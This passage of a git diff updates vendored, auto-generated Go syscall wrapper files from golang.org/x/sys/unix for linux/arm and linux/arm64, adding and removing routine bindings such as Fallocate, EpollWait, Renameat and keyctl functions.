--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-- n = int64(int64(r1)<<32 | int64(r0))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func write(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(mask>>32), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1472,14 +24,8 @@ func Mlockall(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1488,8 +34,9 @@ func Msync(b []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-+ r0, r1, e1 := Syscall6(SYS_TEE, uintptr(rfd), uintptr(wfd), uintptr(len), uintptr(flags), 0, 0)
-+ n = int64(int64(r1)<<32 | int64(r0))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1498,8 +45,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe2(p *[2]_C_int, flags int) (err error) {
-- _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+func pipe(p *[2]_C_int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE, uintptr(unsafe.Pointer(p)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1697,6 +244,34 @@ func Dup2(oldfd int, newfd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN32, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -1717,8 +292,23 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT64, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID32, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1726,7 +316,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID32, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1734,7 +324,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID32, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1742,7 +332,7 @@ func Getgid() (gid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID32, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID32, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1800,6 +390,36 @@ func Lstat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Pause() (err error) {
-+ _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
- r0, _, e1 := Syscall6(SYS_SENDFILE64, uintptr(outfd), uintptr(infd), uintptr(unsafe.Pointer(offset)), uintptr(count), 0, 0)
- written = int(r0)
-@@ -1822,8 +442,9 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID32, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID32, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1832,8 +453,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID32, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID32, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1918,8 +540,8 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Gettimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1928,15 +550,13 @@ func Gettimeofday(tv *Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(events) > 0 {
-- _p0 = unsafe.Pointer(&events[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
-- n = int(r0)
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1945,8 +565,23 @@ func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Pause() (err error) {
-- _, _, e1 := Syscall(SYS_PAUSE, 0, 0, 0)
-+func Gettimeofday(tv *Timeval) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -2053,3 +688,28 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func armSyncFileRange(fd int, flags int, off int64, n int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_ARM_SYNC_FILE_RANGE, uintptr(fd), uintptr(flags), uintptr(off), uintptr(off>>32), uintptr(n), uintptr(n>>32))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(cmdline)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_KEXEC_FILE_LOAD, uintptr(kernelFd), uintptr(initrdFd), uintptr(cmdlineLen), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_linux_arm64.go
-index 20ad4b6c..f0d2890b 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux_arm64.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -tags linux,arm64 syscall_linux.go syscall_linux_arm64.go
-+// go run mksyscall.go -tags linux,arm64 syscall_linux.go syscall_linux_arm64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build linux,arm64
-@@ -14,1228 +14,8 @@ var _ syscall.Errno
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fchmodat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Linkat(olddirfd int, oldpath string, newdirfd int, newpath string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags), uintptr(mode), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
